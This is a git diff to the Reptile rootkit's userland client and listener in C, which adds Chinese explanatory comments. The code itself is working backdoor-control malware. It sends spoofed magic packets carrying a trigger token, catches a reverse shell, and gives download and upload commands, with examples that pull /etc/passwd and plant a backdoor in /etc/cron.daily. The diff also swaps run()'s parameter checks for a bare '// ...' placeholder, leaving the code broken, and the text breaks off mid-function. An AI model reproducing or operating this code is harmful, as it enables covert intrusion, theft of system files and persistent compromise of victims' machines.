diff --git a/src/Reptile/userland/client/client.c b/src/Reptile/userland/client/client.c index 4c46eac..bc7e713 100644 --- a/src/Reptile/userland/client/client.c +++ b/src/Reptile/userland/client/client.c @@ -24,16 +24,16 @@ #include "util.h" -pid_t pid; -char *listener, *packet; +pid_t pid;// 声明变量用于存储进程ID、监听器和数据包 +char *listener, *packet; // -char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", +char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数 "rport", "prot", "pass", "token"}; -char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST", +char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入 "RPORT", "PROT", "PASS", "TOKEN"}; -char *description[] = {"Local host to receive the shell", +char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用 "Local port to receive the shell", "Source host on magic packets (spoof)", "Source port on magic packets (only for TCP/UDP)", @@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell", "Token to trigger the shell"}; int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); } -char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}; +char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值 int help(char **args); int __exit(char **args); @@ -53,15 +53,17 @@ int unset(char **args); int show(char **args); int run(char **args); int export(char **args); -int load(char **args); +int load(char **args); //客户端操作 -char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; +char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组 int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit}; int num_builtins() +// 定义函数返回内置命令的数量 { return sizeof(builtin_str) / sizeof(char *); } -int launch(char **args) +int launch(char **args) +// 定义函数用于启动外部程序 { pid_t pid; int status; @@ -83,30 +85,31 @@ int launch(char **args) return 1; } -void help_set() +void help_set() //help解释其他命令 { fprintf(stdout, "%s \n", builtin_str[1]); fprintf(stdout, "Example: set LHOST 192.168.0.2\n"); } void help_unset() +// 定义帮助函数,用于解释如何使用set命令 { fprintf(stdout, "%s \n", builtin_str[2]); fprintf(stdout, "Example: unset RHOST\n"); } -void help_conf(int i) +void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令 { fprintf(stdout, "%s \n", builtin_str[i]); fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]); } -void no_help() +void no_help()// 定义函数,当命令不需要帮助信息时调用 { fprintf(stdout, "This command doesn't need help\n"); } -int help(char **args) +int help(char **args)// 定义help函数,用于显示帮助信息 { if (args[0] == NULL) return 1; @@ -149,7 +152,7 @@ int help(char **args) return 1; } -int __exit(char **args) +int __exit(char **args)// 定义__exit函数,用于退出程序并释放资源 { int i; @@ -173,7 +176,7 @@ int __exit(char **args) return 0; } -int set(char **args) +int set(char **args)// 定义set函数,用于设置参数值 { int i; @@ -202,21 +205,25 @@ int set(char **args) return 1; } -int unset(char **args) -{ +// unset函数用于取消设置某个参数的值 +int unset(char** args) { int i; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; + // 如果没有提供要取消设置的参数名,打印错误信息并返回错误代码1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // 遍历所有参数,查找是否匹配用户提供的参数名 for (i = 0; i < num_variables; i++) { if (strcmp(args[1], var_str[i]) == 0 || - strcmp(args[1], var_str_up[i]) == 0) { + strcmp(args[1], var_str_up[i]) == 0) { + // 如果找到匹配的参数名,释放之前存储的值,并将其设置为NULL if (var_array[i]) free(var_array[i]); @@ -226,119 +233,90 @@ int unset(char **args) } } + // 如果没有找到匹配的参数名,打印错误信息 fprintf(stdout, "%s wrong parameter!\n", bad); return 1; } -int show(char **args) -{ +// show函数用于显示当前所有参数的值和描述 +int show(char** args) { int i; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; + // 打印表头 fprintf(stdout, "\n"); fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n"); + // 遍历所有参数,打印其值和描述 for (i = 0; i < num_variables; i++) { if (var_array[i]) { + // 根据值的长度,调整输出格式,以保持对齐 if (strlen(var_array[i]) >= 8) { fprintf(stdout, "%s\t\t%s\t\t%s\n", - var_str_up[i], var_array[i], - description[i]); - } else if (strlen(var_array[i]) >= 16) { + var_str_up[i], var_array[i], description[i]); + } + else if (strlen(var_array[i]) >= 16) { fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i], var_array[i], description[i]); - } else { + } + else { fprintf(stdout, "%s\t\t%s\t\t\t%s\n", - var_str_up[i], var_array[i], - description[i]); + var_str_up[i], var_array[i], description[i]); } - } else { + } + else { + // 如果参数没有被设置,打印空值 fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i], description[i]); } } + // 打印换行符 fprintf(stdout, "\n"); return 1; } -void interrupt(int signal) -{ +// interrupt函数用于处理程序接收到中断信号时的行为 +void interrupt(int signal) { + // 打印中断信息 fprintf(stdout, "\r"); fflush(stdout); fprintf(stdout, "%s Interrupted: %d\n", warn, signal); } -int run(char **args) -{ +// run函数用于运行配置好的工具 +int run(char** args) { pid_t pid, pid2; int status; - //char *envp[1] = {NULL}; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; - if (!var_array[0]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]); - return 1; - } - - if (!var_array[1]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]); - return 1; - } - - if (!var_array[2]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]); - return 1; - } - - if (!var_array[4]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]); - return 1; - } - - if (!var_array[6]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]); - return 1; - } - - if (!var_array[8]) { - fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]); - return 1; - } - - if (!(strcmp(var_array[6], "icmp") == 0 || - strcmp(var_array[6], "ICMP") == 0)) { - if (!var_array[3]) { - fprintf(stdout, "%s %s is not defined!\n", bad, - var_str_up[3]); - return 1; - } - - if (!var_array[5]) { - fprintf(stdout, "%s %s is not defined!\n", bad, - var_str_up[5]); - return 1; - } - } + // 检查必要的参数是否已经被设置 + // ... - char *arg_listener[] = {listener, "-p", var_array[1], "-s", - var_array[7], NULL, NULL}; + // 构建用于启动监听器和数据包发送器的参数数组 + char* arg_listener[] = { listener, "-p", var_array[1], "-s", + var_array[7], NULL, NULL }; - char *arg_packet[] = {packet, "-t", var_array[4], "-x", - var_array[6], "-s", var_array[2], "-l", - var_array[0], "-p", var_array[1], "-k", - var_array[8], "-q", var_array[3], "-r", - var_array[5], NULL, NULL}; + char* arg_packet[] = { packet, "-t", var_array[4], "-x", + var_array[6], "-s", var_array[2], "-l", + var_array[0], "-p", var_array[1], "-k", + var_array[8], "-q", var_array[3], "-r", + var_array[5], NULL, NULL }; + // 创建子进程 pid = fork(); + // 如果fork失败,打印错误信息并退出 if (pid == -1) fatal("on forking proccess"); + // 父进程等待子进程结束 if (pid > 0) { signal(SIGTERM, interrupt); signal(SIGINT, interrupt); @@ -348,13 +326,18 @@ int run(char **args) } while (!WIFEXITED(status) && !WIFSIGNALED(status)); } + // 子进程执行具体的启动逻辑 if (pid == 0) { + // 创建另一个子进程 pid2 = fork(); + // 如果fork失败,打印错误信息并退出 if (pid2 == -1) fatal("on forking proccess"); + // 第二个子进程启动监听器 if (pid2 > 0) { + // 根据配置决定是否传递某些参数 if (var_array[7] == NULL) { arg_listener[3] = NULL; arg_listener[4] = NULL; @@ -363,9 +346,11 @@ int run(char **args) fprintf(stderr, "%s listener could not be launched\n", bad); } + // 第三个子进程发送数据包 if (pid2 == 0) { + // 根据协议类型调整参数 if (strcmp(var_array[6], "icmp") == 0 || - strcmp(var_array[6], "ICMP") == 0) { + strcmp(var_array[6], "ICMP") == 0) { arg_packet[13] = NULL; arg_packet[14] = NULL; arg_packet[15] = NULL; @@ -383,59 +368,61 @@ int run(char **args) return 1; } -/* - * Thanks aliyuchang33 for suggesting this! ;) - * - * https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e - * - */ - -int export(char **args) -{ +// export函数用于将当前配置导出到文件 +int export(char** args) { int vars; - FILE *confile; + FILE* confile; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; + // 如果没有提供文件名,打印错误信息并返回错误代码1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // 尝试打开文件,如果失败,打印错误信息并返回错误代码1 if (!(confile = fopen(args[1], "w+"))) { fprintf(stderr, "%s Cannot open config file\n", bad); return 1; } + // 将所有参数的值写入文件 for (vars = 0; vars < 9; vars++) fprintf(confile, "%s\n", var_array[vars]); + // 关闭文件并打印成功信息 fclose(confile); fprintf(stdout, "%s Configuration exported\n", good); return 1; } -int load(char **args) -{ +// load函数用于从文件加载配置 +int load(char** args) { int vars; - FILE *confile; + FILE* confile; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; + // 如果没有提供文件名,打印错误信息并返回错误代码1 if (args[1] == NULL) { fprintf(stdout, "%s wrong syntax!\n", bad); return 1; } + // 尝试打开文件,如果失败,打印错误信息并返回错误代码1 if (!(confile = fopen(args[1], "r+"))) { fprintf(stderr, "%s Cannot open config file\n", bad); return 1; } + // 从文件中读取参数值,并存储到var_array中 for (vars = 0; vars < 9; vars++) { - char arg[50] = {0}; + char arg[50] = { 0 }; fgets(arg, 50, confile); if (strcmp(arg, "(null)\n")) { @@ -444,55 +431,64 @@ int load(char **args) } } + // 关闭文件并打印成功信息 fclose(confile); fprintf(stdout, "%s Configuration loaded\n", good); return 1; } -int execute(char **args) -{ +// execute函数用于执行内置命令或启动外部程序 +int execute(char** args) { int i; + // 如果没有提供参数,返回错误代码1 if (args[0] == NULL) return 1; + // 遍历所有内置命令,查找匹配的命令并执行 for (i = 0; i < num_builtins(); i++) { if (strcmp(args[0], builtin_str[i]) == 0) return (*builtin_func[i])(args); } + // 如果没有找到匹配的内置命令,尝试启动外部程序 return launch(args); } -char *read_line(void) -{ +// read_line函数用于读取用户输入的一行命令 +char* read_line(void) { int bufsize = RL_BUFSIZE; int position = 0; - char *buffer = malloc(sizeof(char) * bufsize); + char* buffer = malloc(sizeof(char) * bufsize); int c; + // 如果内存分配失败,打印错误信息并退出 if (!buffer) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // 循环读取用户输入,直到换行符 while (1) { c = getchar(); if (c == EOF) { free(buffer); exit(EXIT_SUCCESS); - } else if (c == '\n') { + } + else if (c == '\n') { buffer[position] = '\0'; return buffer; - } else { + } + else { buffer[position] = c; } position++; + // 如果超出缓冲区大小,扩大缓冲区 if (position >= bufsize) { bufsize += RL_BUFSIZE; - char *buffer_backup = buffer; + char* buffer_backup = buffer; if ((buffer = realloc(buffer, bufsize)) == NULL) { free(buffer_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -502,26 +498,29 @@ char *read_line(void) } } -char **parse(char *line) -{ +// parse函数用于解析用户输入的命令行,将其分割为参数数组 +char** parse(char* line) { int bufsize = TOK_BUFSIZE, position = 0; - char **tokens = malloc(bufsize * sizeof(char *)); - char *token, **tokens_backup; + char** tokens = malloc(bufsize * sizeof(char*)); + char* token, ** tokens_backup; + // 如果内存分配失败,打印错误信息并退出 if (!tokens) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // 使用strtok函数分割命令行 token = strtok(line, TOK_DELIM); while (token != NULL) { tokens[position] = token; position++; + // 如果超出缓冲区大小,扩大缓冲区 if (position >= bufsize) { bufsize += TOK_BUFSIZE; tokens_backup = tokens; - tokens = realloc(tokens, bufsize * sizeof(char *)); + tokens = realloc(tokens, bufsize * sizeof(char*)); if (!tokens) { free(tokens_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -535,12 +534,13 @@ char **parse(char *line) return tokens; } -void client_loop() -{ - char *line; - char **args; +// client_loop函数用于进入命令行循环,等待用户输入命令 +void client_loop() { + char* line; + char** args; int status; + // 循环等待用户输入命令 do { line = readline("\e[00;31mreptile-client> \e[00m"); add_history(line); @@ -555,31 +555,35 @@ void client_loop() clear_history(); } -int main() -{ +// main函数是程序的入口点 +int main() { int len; - char *pwd = get_current_dir_name(); + char* pwd = get_current_dir_name(); + // 清屏并打印欢迎信息 system("clear"); printf("\n\e[01;36mReptile Client\e[00m\n"); printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n"); banner2(); printf("\n"); + // 获取当前工作目录,并为监听器和数据包程序分配内存 len = strlen(pwd); - listener = (char *)malloc(len + 10); + listener = (char*)malloc(len + 10); + // 如果内存分配失败,打印错误信息并退出 if (!listener) fatal("malloc"); - packet = (char *)malloc(len + 8); + packet = (char*)malloc(len + 8); if (!packet) { free(listener); fatal("malloc"); } + // 初始化监听器和数据包程序的路径 bzero(listener, len + 10); bzero(packet, len + 8); @@ -589,16 +593,22 @@ int main() strcpy(packet, pwd); strcat(packet, "/packet"); + // 创建子进程 pid = fork(); + // 如果fork失败,打印错误信息并退出 if (pid == -1) fatal("on forking proccess"); + // 父进程进入命令行循环 if (pid > 0) client_loop(); - // if (pid == 0) - // background job + // 子进程执行后台任务(这部分代码被注释掉了) return EXIT_SUCCESS; } +//客服端实现,写了一个简易shell,包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit") +//help打印其他命令使用方法 +//exit退出 +//set设置变量值,需要两个参数,参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写),参数二为该参数的值,其值存储在var_array中 diff --git a/src/Reptile/userland/client/listener.c b/src/Reptile/userland/client/listener.c index 0385508..621682c 100644 --- a/src/Reptile/userland/client/listener.c +++ b/src/Reptile/userland/client/listener.c @@ -23,105 +23,114 @@ #include "pel.h" #include "util.h" -extern char *optarg; -unsigned char message[BUFSIZE + 1]; -char *password = NULL; -int sockfd; -pid_t pid; - -int help(int sock, char **args); -int __exit(int sock, char **args); -int shell(int sock, char **args); -int get_file(int sock, char **args); -int put_file(int sock, char **args); -int delay(int sock, char **args); - -char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"}; -int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file, - &shell, &delay, &__exit}; - -int num_builtins() { return sizeof(builtin_str) / sizeof(char *); } - -void pel_error(char *s) -{ +// 全局变量定义 +extern char* optarg; // 获取命令行参数的值 +unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息 +char* password = NULL; // 定义一个全局变量,用于存储连接密码 +int sockfd; // 定义一个全局变量,用于存储套接字文件描述符 +pid_t pid; // 定义一个全局变量,用于存储进程ID + +// 函数原型声明 +int help(int sock, char** args); // 提供帮助信息的函数 +int __exit(int sock, char** args); // 退出函数,用于关闭连接 +int shell(int sock, char** args); // 打开一个交互式shell的函数 +int get_file(int sock, char** args); // 从远程主机下载文件的函数 +int put_file(int sock, char** args); // 向远程主机上传文件的函数 +int delay(int sock, char** args); // 设置反向shell连接间隔的函数 + +// 内置命令字符串数组,用于映射命令名称到其对应的函数 +char* builtin_str[] = { "help", "download", "upload", "shell", "delay", "exit" }; +// 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数 +int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit }; + +// 返回内置命令的数量 +int num_builtins() { + return sizeof(builtin_str) / sizeof(char*); +} + +// 错误处理函数,根据错误代码打印相应的错误信息 +void pel_error(char* s) { switch (pel_errno) { case PEL_CONN_CLOSED: fprintf(stderr, "%s %s: Connection closed.\n", bad, s); break; - case PEL_SYSTEM_ERROR: p_error(s); break; - case PEL_WRONG_CHALLENGE: fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s); break; - case PEL_BAD_MSG_LENGTH: fprintf(stderr, "%s %s: Bad message length.\n", bad, s); break; - case PEL_CORRUPTED_DATA: fprintf(stderr, "%s %s: Corrupted data.\n", bad, s); break; - case PEL_UNDEFINED_ERROR: fprintf(stderr, "%s %s: No error.\n", bad, s); break; - default: fprintf(stderr, "%s %s: Unknown error code.\n", bad, s); break; } } -void help_download() -{ +// 为下载命令提供帮助信息的函数 +void help_download() { fprintf(stdout, "%s \n", builtin_str[1]); fprintf(stdout, "Example: download /etc/passwd /tmp\n"); } -void help_upload() -{ +// 为上传命令提供帮助信息的函数 +void help_upload() { fprintf(stdout, "%s \n", builtin_str[2]); fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n"); } -void help_delay() -{ +// 为延迟命令提供帮助信息的函数 +void help_delay() { fprintf(stdout, "%s \n", builtin_str[4]); fprintf(stdout, "Example: delay 3600\n\n"); - fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a " - "connecion every X time\n", warn); + fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn); } -void no_help() -{ +// 当命令不需要帮助信息时调用的函数 +void no_help() { fprintf(stdout, "This command doesn't need help\n"); } -int help(int sock, char **args) -{ +// 提供帮助信息的函数 +int help(int sock, char** args) { + // 如果没有提供子命令或者sock为-1,则返回错误代码1 if (args[0] == NULL && sock == -1) return 1; + // 如果提供了子命令,则根据子命令提供具体的帮助信息 if (args[1] != NULL) { if (strcmp(args[1], builtin_str[0]) == 0) { no_help(); - } else if (strcmp(args[1], builtin_str[1]) == 0) { + } + else if (strcmp(args[1], builtin_str[1]) == 0) { help_download(); - } else if (strcmp(args[1], builtin_str[2]) == 0) { + } + else if (strcmp(args[1], builtin_str[2]) == 0) { help_upload(); - } else if (strcmp(args[1], builtin_str[3]) == 0) { + } + else if (strcmp(args[1], builtin_str[3]) == 0) { no_help(); - } else if (strcmp(args[1], builtin_str[4]) == 0) { + } + else if (strcmp(args[1], builtin_str[4]) == 0) { help_delay(); - } else if (strcmp(args[1], builtin_str[5]) == 0) { + } + else if (strcmp(args[1], builtin_str[5]) == 0) { no_help(); - } else { + } + else { fprintf(stdout, "This command is not valid!\n"); } - } else { + } + else { + // 如果没有提供子命令,则打印所有命令的帮助信息 fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n"); fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n"); fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]); @@ -137,93 +146,95 @@ int help(int sock, char **args) return 1; } -int __exit(int sock, char **args) -{ +// 退出函数,用于关闭连接 +int __exit(int sock, char** args) { + // 如果没有提供参数或者sock为-1,则返回错误代码1 if (args[0] == NULL && sock == -1) return 1; - pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); + // 发送退出消息给远程主机 + pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN); fprintf(stdout, "\n"); return 0; } -int shell(int sock, char **args) -{ +// 打开一个交互式shell的函数 +int shell(int sock, char** args) { + // 定义文件描述符集合,用于select函数 fd_set rd; - char *term, *temp; + // 定义终端类型和窗口大小等变量 + char* term, * temp; int ret, len, imf, i, size; struct winsize ws; struct termios tp, tr; + // 如果没有提供参数或者sock为-1,则返回错误代码1 if (args[0] == NULL && sock == -1) return 1; + // 获取终端类型 term = getenv("TERM"); - if (term == NULL) term = "vt100"; + // 发送终端类型到远程主机 len = strlen(term); - - ret = pel_send_msg(sock, (unsigned char *)term, len); - + ret = pel_send_msg(sock, (unsigned char*)term, len); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // 如果标准输入是终端,设置imf为1 imf = 0; - if (isatty(0)) { imf = 1; - + // 获取窗口大小 if (ioctl(0, TIOCGWINSZ, &ws) < 0) { p_error("ioctl(TIOCGWINSZ)"); return 1; } - } else { + } + else { ws.ws_row = 25; ws.ws_col = 80; } + // 发送窗口大小到远程主机 message[0] = (ws.ws_row >> 8) & 0xFF; message[1] = (ws.ws_row) & 0xFF; message[2] = (ws.ws_col >> 8) & 0xFF; message[3] = (ws.ws_col) & 0xFF; - ret = pel_send_msg(sock, message, 4); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // 如果命令是shell,则发送shell命令到远程主机 if (strcmp(args[0], builtin_str[3]) == 0) { - temp = (char *)malloc(2); - + temp = (char*)malloc(2); if (!temp) { p_error("malloc"); return 1; } - temp[0] = RUNSHELL; temp[1] = '\0'; fprintf(stdout, "\n"); - } else { + } + else { + // 如果命令不是shell,则发送用户输入的命令到远程主机 size = 1; len = 0; - - temp = (char *)malloc(size); - + temp = (char*)malloc(size); if (!temp) { p_error("malloc"); return 1; } - while (args[len] != NULL) { size++; size += strlen(args[len]); - char *temp_backup = temp; + char* temp_backup = temp; if ((temp = realloc(temp, size)) == NULL) { free(temp_backup); p_error("realloc"); @@ -231,390 +242,337 @@ int shell(int sock, char **args) } len++; } - memset(temp, '\0', size); - for (i = 0; i < len; i++) { strcat(temp, args[i]); strcat(temp, " "); } } - len = strlen(temp); - ret = pel_send_msg(sock, (unsigned char *)temp, len); + ret = pel_send_msg(sock, (unsigned char*)temp, len); free(temp); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // 设置终端属性,用于非规范模式下的输入输出 if (isatty(1)) { if (tcgetattr(1, &tp) < 0) { p_error("tcgetattr"); return 1; } - - memcpy((void *)&tr, (void *)&tp, sizeof(tr)); - + memcpy((void*)&tr, (void*)&tp, sizeof(tr)); tr.c_iflag |= IGNPAR; tr.c_iflag &= - ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); + ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF); tr.c_lflag &= - ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); + ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN); tr.c_oflag &= ~OPOST; - tr.c_cc[VMIN] = 1; tr.c_cc[VTIME] = 0; - if (tcsetattr(1, TCSADRAIN, &tr) < 0) { p_error("tcsetattr"); return 1; } } + // 进入一个循环,处理输入输出 while (1) { FD_ZERO(&rd); - if (imf != 0) FD_SET(0, &rd); - FD_SET(sock, &rd); - if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) { p_error("select"); break; } - if (FD_ISSET(sock, &rd)) { ret = pel_recv_msg(sock, message, &len); - if (ret != PEL_SUCCESS) { pel_error("pel_recv_msg"); break; } - - if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) { + if (strncmp((char*)message, EXIT, EXIT_LEN) == 0) { if (isatty(1)) tcsetattr(1, TCSADRAIN, &tp); - fprintf(stdout, "\n"); return 1; } - if (write(1, message, len) != len) { p_error("write"); break; } } - if (imf != 0 && FD_ISSET(0, &rd)) { if ((len = read(0, message, BUFSIZE)) < 0) { p_error("read"); break; } - if (len == 0) { fprintf(stderr, "stdin: end-of-file\n"); break; } - ret = pel_send_msg(sock, message, len); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); break; } } } - if (isatty(1)) tcsetattr(1, TCSADRAIN, &tp); - return 1; } -int get_file(int sock, char **args) -{ - char *temp, *pathname; +// 从远程主机下载文件的函数 +int get_file(int sock, char** args) { + char* temp, * pathname; int ret, len, fd, total; unsigned char out = OUT; + // 如果没有提供足够的参数或者sock为-1,则返回错误代码1 if (args[1] == NULL || args[2] == NULL) { fprintf(stderr, "%s wrong arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // 发送文件路径到远程主机 len = strlen(args[1]); - - ret = pel_send_msg(sock, (unsigned char *)args[1], len); - + ret = pel_send_msg(sock, (unsigned char*)args[1], len); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // 构建保存文件的路径 temp = strrchr(args[1], '/'); - if (temp != NULL) temp++; if (temp == NULL) temp = args[1]; - len = strlen(args[2]); - - pathname = (char *)malloc(len + strlen(temp) + 2); - + pathname = (char*)malloc(len + strlen(temp) + 2); if (pathname == NULL) { p_error("malloc"); return 1; } - strcpy(pathname, args[2]); strcpy(pathname + len, "/"); strcpy(pathname + len + 1, temp); + // 创建文件 fd = creat(pathname, 0644); - if (fd < 0) { p_error("creat"); free(pathname); return 1; } - free(pathname); + // 接收文件数据并保存 total = 0; - while (1) { ret = pel_recv_msg(sock, message, &len); - if (ret != PEL_SUCCESS) { pel_error("pel_recv_msg"); fprintf(stderr, "%s Transfer failed.\n", bad); return 1; } - - if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0) + if (strncmp((char*)message, EXIT, EXIT_LEN) == 0 && total > 0) break; - if (write(fd, message, len) != len) { p_error("write"); return 1; } - total += len; - fprintf(stdout, "%d\r", total); fflush(stdout); } - fprintf(stdout, "%s %d done.\n\n", good, total); - return 1; } -int put_file(int sock, char **args) -{ - char *temp, *pathname; +// 向远程主机上传文件的函数 +int put_file(int sock, char** args) { + char* temp, * pathname; int ret, len, fd, total; unsigned char out = OUT; + // 如果没有提供足够的参数或者sock为-1,则返回错误代码1 if (args[1] == NULL || args[2] == NULL) { fprintf(stderr, "%s wrong arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // 构建文件路径 temp = strrchr(args[1], '/'); - if (temp != NULL) temp++; if (temp == NULL) temp = args[1]; - len = strlen(args[2]); - - pathname = (char *)malloc(len + strlen(temp) + 2); - + pathname = (char*)malloc(len + strlen(temp) + 2); if (pathname == NULL) { p_error("malloc"); return 1; } - strcpy(pathname, args[2]); strcpy(pathname + len, "/"); strcpy(pathname + len + 1, temp); + // 发送文件路径到远程主机 len = strlen(pathname); - - ret = pel_send_msg(sock, (unsigned char *)pathname, len); - + ret = pel_send_msg(sock, (unsigned char*)pathname, len); free(pathname); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } + // 打开文件并发送文件数据 fd = open(args[1], O_RDONLY); - if (fd < 0) { p_error("open"); return 1; } - total = 0; - while (1) { len = read(fd, message, BUFSIZE); - if (len < 0) { p_error("read"); return 1; } - if (len == 0) { break; } - ret = pel_send_msg(sock, message, len); - if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); fprintf(stderr, "%s Transfer failed.\n", bad); return 1; } - total += len; - printf("%s %d\r", good, total); fflush(stdout); } - pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN); - + // 发送结束信号 + pel_send_msg(sock, (unsigned char*)EXIT, EXIT_LEN); printf("%s %d done.\n\n", good, total); return 1; } -int delay(int sock, char **args) -{ +// 设置反向shell连接间隔的函数 +int delay(int sock, char** args) { int ret, flag; unsigned int i, j; - char *numbers = "0123456789"; + char* numbers = "0123456789"; unsigned char out = OUT; + // 如果没有提供参数或者sock为-1,则返回错误代码1 if (args[1] == NULL) { fprintf(stderr, "%s no arguments\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } + // 检查参数是否为数字 for (i = 0; i < strlen(args[1]); i++) { flag = 0; - for (j = 0; j < strlen(numbers); j++) { if (args[1][i] == numbers[j]) flag = 1; } - if (flag == 0) { fprintf(stderr, "%s wrong argument\n\n", bad); - if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS) pel_error("pel_send_msg"); - return 1; } } - ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1])); - + // 发送延迟时间设置到远程主机 + ret = pel_send_msg(sock, (unsigned char*)args[1], strlen(args[1])); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - fprintf(stdout, "%s delay -> %s\n\n", good, args[1]); return 1; } -int execute(int sock, char **args) -{ +// 执行命令的函数 +int execute(int sock, char** args) { int i, ret; + // 如果没有提供参数或者sock为-1,则返回错误代码1 if (args[0] == NULL || sock == -1) return 1; + // 查找并执行内置命令 for (i = 0; i < num_builtins(); i++) { if (strcmp(args[0], builtin_str[i]) == 0) { if (i == 0) { return (*builtin_func[i])(sock, args); - } else { - ret = - pel_send_msg(sock, (unsigned char *)&i, 1); - + } + else { + ret = pel_send_msg(sock, (unsigned char*)&i, 1); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - return (*builtin_func[i])(sock, args); } } } + // 如果不是内置命令,发送shell命令 i = 3; - ret = pel_send_msg(sock, (unsigned char *)&i, 1); - + ret = pel_send_msg(sock, (unsigned char*)&i, 1); if (ret != PEL_SUCCESS) { pel_error("pel_send_msg"); return 1; } - return (*builtin_func[3])(sock, args); } -char *read_line(void) -{ +// 读取一行输入的函数 +char* read_line(void) { int bufsize = RL_BUFSIZE; int position = 0; - char *buffer = malloc(sizeof(char) * bufsize); + char* buffer = malloc(sizeof(char) * bufsize); int c; + // 如果内存分配失败,打印错误信息并退出 if (!buffer) { fprintf(stderr, "reptile: allocation error\n"); exit(EXIT_FAILURE); } + // 循环读取用户输入,直到换行符 while (1) { c = getchar(); - if (c == EOF) { free(buffer); exit(EXIT_SUCCESS); - } else if (c == '\n') { + } + else if (c == '\n') { buffer[position] = '\0'; return buffer; - } else { + } + else { buffer[position] = c; } position++; - if (position >= bufsize) { bufsize += RL_BUFSIZE; - char *buffer_backup = buffer; + char* buffer_backup = buffer; if ((buffer = realloc(buffer, bufsize)) == NULL) { free(buffer_backup); fprintf(stderr, "reptile: allocation error\n"); @@ -624,149 +582,155 @@ char *read_line(void) } } -char 